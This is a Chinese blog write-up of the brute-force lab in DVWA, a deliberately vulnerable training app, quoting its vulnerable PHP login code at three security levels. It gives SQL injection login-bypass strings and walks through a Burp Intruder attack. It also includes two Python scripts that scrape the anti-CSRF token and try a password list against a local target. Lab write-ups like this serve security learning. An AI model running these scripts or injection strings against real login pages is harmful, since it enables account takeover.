title: DVWA之暴力破解
date: 2019-03-19 19:00:50
tags:
- DVWA
- burpsuite
- 暴力破解
categories:
- Web安全
- DVWA
- 暴力破解
针对DVWA里的暴力破解漏洞进行实验测试。主要内容包括BurpSuite的一些Intruder模块的基本使用和简单的python脚本编写。
简介
搞Web安全和渗透的,估计都玩过Dvwa这个靶机。所以关于Dvwa就不说了。直接进入主题吧
Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一,如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击
话不多说,下面就针对Dvwa中暴力破解模块的不同级别进行分析测试吧。
Low级别
先来看源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看到,对于登录的处理,服务器只是验证参数Login是否被设置,并没有任何的防爆破机制。因此可以通过BurpSuite进行爆破。
if( isset( $_GET[ 'Login' ] ) )
此外对参数username、password等也没做任何过滤处理。因此此处还存在SQL注入漏洞,可以使用万能密码绕过,在用户名处输入admin'#
或者admin' or '1'='1
即可登录。
使用Burp进行爆破
-
打开Burp,记得设置浏览器代理。
image -
进行抓包
浏览器设置好代理后,点击Login按钮,可以看到Burp成功抓包
image
image -
抓到包后,按ctrl+l键,或者右键选择send to Intruder
image -
因为是要对password参数进行爆破,所以只在password参数内容两边加$
image
image -
设置好要爆破的参数后,选择Payloads模块设置字典。
可以使用Burp自带的简单字典,或者自己去网上下载构造。
因为此处Burp自带的字典里没有password(正确密码),故我们手动加入进去
image -
设置攻击字典后,设置爆破线程
暴力破解是一个穷举的过程,速度很慢,故可以通过多线程加快速度。
但Burp社区版不提供增加线程功能,我用的是Burp pro破解版
将线程设为50个,然后点击start attack开始爆破
image -
上一步点击开始爆破后,会切换到一个爆破任务详情新窗口
在分析爆破结果前,先讲一下原理(感觉太啰嗦了,麻烦且累以后还是不写这么详细好了)
我们分别通过万能密码和错误的密码成功登陆和失败登陆,如下两图
image
image
可以看到,返回的信息是不同的,所以响应包的长度Length也不一样
-
因此,在爆破任务详情窗口可以通过Length进行筛选
选出Length “与众不同”的payload即为密码
image
Medium级别
贴上源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看到,相比low级别的代码,这里主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号进行转义,基本上能抵御SQL注入攻击。但对登录并没做什么防护,因此跟Low级别一样,使用Burp进行爆破即可。
High级别
贴上源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析
High级别的代码加入了随机token,可以抵御CSRF攻击,但同时增加了爆破的难度。虽然不能用Burp爆破,但可以用python jio脚本呀
先抓一下包分析一下请求
可以看到,每次服务器返回的登录页面都会生成一个随机的user_token,用户每次登陆时都要将user_token一起提交,服务器每次收到请求后,也都会先做token的检查,再进行sql查询
脚本编写
思路
每次用python登录之前,先用python访问登录页面通过BeautifulSoup将user_token抓取出来。抓出来之后拼接url进行登录。我写了两个脚本,原理都差不多,不过是第二个用了requests库中的Session方法。
实现
好了,不多bb,开始写吧
先贴代码
#Version:python3
#coding=utf-8
#Author:Miracle778
from bs4 import BeautifulSoup
import urllib3
import requests
header = {
'Host':'127.0.0.1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Referer':'http://127.0.0.1/vulnerabilities/brute/',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9',
'Cookie':'Pycharm-ae03759a=6fdf0374-3228-456b-ae40-07e2c178708e;PHPSESSID=3b23u5l2qlg5nmedn4ebrltbg6;security=high',
'Connection':'close'
}
requrl = 'http://127.0.0.1/vulnerabilities/brute/'
def get_token(requrl,header):
req = requests.get(url=requrl,headers=header)
response = req.text
soup = BeautifulSoup(response,'html.parser')
user_token = soup.form.find_all(name='input')[-1]['value']
return user_token
#爆10次
i = 0
user_token= get_token(requrl,header)
for line in open("passwd.txt"):
url = requrl + '?username=admin&password=' + line.strip() \
+ '&Login=Login&user_token=' + user_token
i = i+1
req = requests.get(url,headers=header)
status_code = req.status_code
length = len(req.text)
print(i,'admin',line.strip(),status_code,length)
user_token = get_token(requrl,header)
if i==10:
break
#Version:python3
#coding=utf-8
#Author:Miracle778
import requests
from bs4 import BeautifulSoup
s = requests.Session()
header = {
'Host':'127.0.0.1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Referer':'http://127.0.0.1/vulnerabilities/brute/',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9',
'Cookie':'Pycharm-ae03759a=6fdf0374-3228-456b-ae40-07e2c178708e;PHPSESSID=3b23u5l2qlg5nmedn4ebrltbg6;security=high',
'Connection':'close'
}
s.headers = header
requrl = 'http://127.0.0.1/vulnerabilities/brute/'
def get_token(requrl):
req = s.get(requrl)
soup = BeautifulSoup(req.text,'html.parser')
user_token = soup.form.find_all(name='input')[-1]['value']
return user_token
for line in open("passwd.txt"):
user_token = get_token(requrl)
url = requrl + '?username=admin&password=' + line.strip() \
+ '&Login=Login&user_token=' + user_token
reponse = s.get(url)
status_code = reponse.status_code
length = len(reponse.text)
print('admin',line.strip(),status_code,length)
编写中注意的点
先用浏览器F12一下,找出user_token所在标签
image理清结构后使用BeautifulSoup进行提取(可以用一些爬虫插件、或者直接用python解释器测试)
得到BeautifulSoup提取语句:
user_token = soup.form.find_all(name='input')[-1]['value']
设置header要注意,不然脚本无效
因为这个实验测试是之前做的,写文章的时候复现时发现,header不对的话脚本无效
说一下设置header的方法吧。
用Burp抓一下包,然后照着结果设置header。此处应有个笑哭的emoji
效果
imageimage
Impossible级别
这个不怎么好写,就不写了
总结
想起之前看别人博客学习的时候,别人写的太简洁了而自己知识面不够广,导致自己学习的时候一脸懵。那种自闭的感觉很容易消磨学习的兴趣。所以自己刚开始写Blog,就总想着写得详细。但写得详细的话,太费时间了。所以之后看情况写吧,一些太啰嗦的东西就懒得贴上来了。
网友评论